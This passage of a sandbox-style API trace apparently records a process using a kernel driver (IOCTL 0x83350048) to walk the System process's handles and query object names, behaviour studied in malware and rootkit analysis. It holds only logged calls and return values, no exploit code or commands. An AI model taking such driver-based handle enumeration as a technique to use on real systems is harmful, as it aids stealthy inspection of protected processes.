[0119.694] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.694] ObQueryNameString (in: Object=0xfffffa80037d1f20, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.695] ObfDereferenceObject (Object=0xfffffa80037d1f20) returned 0x2 [0119.695] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.695] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.695] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.695] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.695] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.695] PsAcquireProcessExitSynchronization () returned 0x0 [0119.695] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.695] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800322de50, HandleInformation=0x0) returned 0x0 [0119.695] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.695] PsReleaseProcessExitSynchronization () returned 0x2 [0119.695] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.695] ObQueryNameString (in: Object=0xfffffa800322de50, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.695] ObfDereferenceObject (Object=0xfffffa800322de50) returned 0x2 [0119.695] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.695] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.695] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.695] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.695] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.695] PsAcquireProcessExitSynchronization () returned 0x0 [0119.695] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.695] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b14, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003527a20, HandleInformation=0x0) returned 0x0 [0119.695] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.695] PsReleaseProcessExitSynchronization () returned 0x2 [0119.695] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.695] ObQueryNameString (in: Object=0xfffffa8003527a20, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.695] ObfDereferenceObject (Object=0xfffffa8003527a20) returned 0x2 [0119.695] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.695] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.696] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.696] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.696] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.696] PsAcquireProcessExitSynchronization () returned 0x0 [0119.696] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.696] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80038ee410, HandleInformation=0x0) returned 0x0 [0119.696] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.696] PsReleaseProcessExitSynchronization () returned 0x2 [0119.696] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.696] ObQueryNameString (in: Object=0xfffffa80038ee410, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.696] ObfDereferenceObject (Object=0xfffffa80038ee410) returned 0x2 [0119.696] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.696] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.696] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.696] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.696] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.696] PsAcquireProcessExitSynchronization () returned 0x0 [0119.696] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.696] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80038c5920, HandleInformation=0x0) returned 0x0 [0119.696] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.696] PsReleaseProcessExitSynchronization () returned 0x2 [0119.696] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.696] ObQueryNameString (in: Object=0xfffffa80038c5920, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.696] ObfDereferenceObject (Object=0xfffffa80038c5920) returned 0x2 [0119.696] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.696] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.696] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.696] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.696] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.696] PsAcquireProcessExitSynchronization () returned 0x0 [0119.696] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.696] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003536ae0, HandleInformation=0x0) returned 0x0 [0119.697] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.697] PsReleaseProcessExitSynchronization () returned 0x2 [0119.697] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.697] ObQueryNameString (in: Object=0xfffffa8003536ae0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.697] ObfDereferenceObject (Object=0xfffffa8003536ae0) returned 0x2 [0119.697] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.697] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.697] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.697] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1fb05e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0119.697] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.697] PsAcquireProcessExitSynchronization () returned 0x0 [0119.697] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.697] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0119.697] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.697] PsReleaseProcessExitSynchronization () returned 0x2 [0119.697] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.697] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.697] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.697] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.697] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1fb05e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0119.697] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.697] PsAcquireProcessExitSynchronization () returned 0x0 [0119.697] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.697] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0119.697] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.697] PsReleaseProcessExitSynchronization () returned 0x2 [0119.697] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.697] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.697] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.697] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.697] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1fb05e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0119.697] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.698] PsAcquireProcessExitSynchronization () returned 0x0 [0119.698] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.698] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0119.698] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.698] PsReleaseProcessExitSynchronization () returned 0x2 [0119.698] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.698] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.698] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.698] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.698] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.698] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.698] PsAcquireProcessExitSynchronization () returned 0x0 [0119.698] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.698] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003313ae0, HandleInformation=0x0) returned 0x0 [0119.698] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.698] PsReleaseProcessExitSynchronization () returned 0x2 [0119.698] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.698] ObQueryNameString (in: Object=0xfffffa8003313ae0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.698] ObfDereferenceObject (Object=0xfffffa8003313ae0) returned 0x2 [0119.698] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.698] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.698] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.698] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.698] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.698] PsAcquireProcessExitSynchronization () returned 0x0 [0119.698] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.698] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b40, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80038ed520, HandleInformation=0x0) returned 0x0 [0119.698] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.698] PsReleaseProcessExitSynchronization () returned 0x2 [0119.698] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.698] ObQueryNameString (in: Object=0xfffffa80038ed520, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.699] ObfDereferenceObject (Object=0xfffffa80038ed520) returned 0x2 [0119.699] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.699] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.699] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.699] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.699] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.699] PsAcquireProcessExitSynchronization () returned 0x0 [0119.699] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.699] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b58, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003286c70, HandleInformation=0x0) returned 0x0 [0119.699] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.699] PsReleaseProcessExitSynchronization () returned 0x2 [0119.699] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.699] ObQueryNameString (in: Object=0xfffffa8003286c70, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.761] ObfDereferenceObject (Object=0xfffffa8003286c70) returned 0x2 [0119.761] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.761] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.761] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.761] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.761] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.761] PsAcquireProcessExitSynchronization () returned 0x0 [0119.761] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.761] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800263abb0, HandleInformation=0x0) returned 0x0 [0119.761] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.761] PsReleaseProcessExitSynchronization () returned 0x2 [0119.761] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x187 [0119.761] ObQueryNameString (in: Object=0xfffffa800263abb0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.761] ObfDereferenceObject (Object=0xfffffa800263abb0) returned 0x2 [0119.761] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.761] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.761] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.761] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.762] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.762] PsAcquireProcessExitSynchronization () returned 0x0 [0119.762] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.762] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b60, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80022d0c90, HandleInformation=0x0) returned 0x0 [0119.762] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.762] PsReleaseProcessExitSynchronization () returned 0x2 [0119.762] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x187 [0119.762] ObQueryNameString (in: Object=0xfffffa80022d0c90, ObjectNameInfo=0xfffffa800388e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800388e044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.762] ObfDereferenceObject (Object=0xfffffa80022d0c90) returned 0x2 [0119.762] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.762] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.762] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.762] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.762] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.762] PsAcquireProcessExitSynchronization () returned 0x0 [0119.762] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.762] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b6c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002642460, HandleInformation=0x0) returned 0x0 [0119.762] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.762] PsReleaseProcessExitSynchronization () returned 0x2 [0119.762] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x187 [0119.762] ObQueryNameString (in: Object=0xfffffa8002642460, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.762] ObfDereferenceObject (Object=0xfffffa8002642460) returned 0x2 [0119.762] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.762] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.762] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.762] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.762] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.762] PsAcquireProcessExitSynchronization () returned 0x0 [0119.762] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.762] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b70, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003b8ec00, HandleInformation=0x0) returned 0x0 [0119.763] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.763] PsReleaseProcessExitSynchronization () returned 0x2 [0119.763] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x187 [0119.763] ObQueryNameString (in: Object=0xfffffa8003b8ec00, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.763] ObfDereferenceObject (Object=0xfffffa8003b8ec00) returned 0x2 [0119.763] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.763] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.763] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.763] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.763] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.763] PsAcquireProcessExitSynchronization () returned 0x0 [0119.763] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.763] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80034a8a20, HandleInformation=0x0) returned 0x0 [0119.763] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.763] 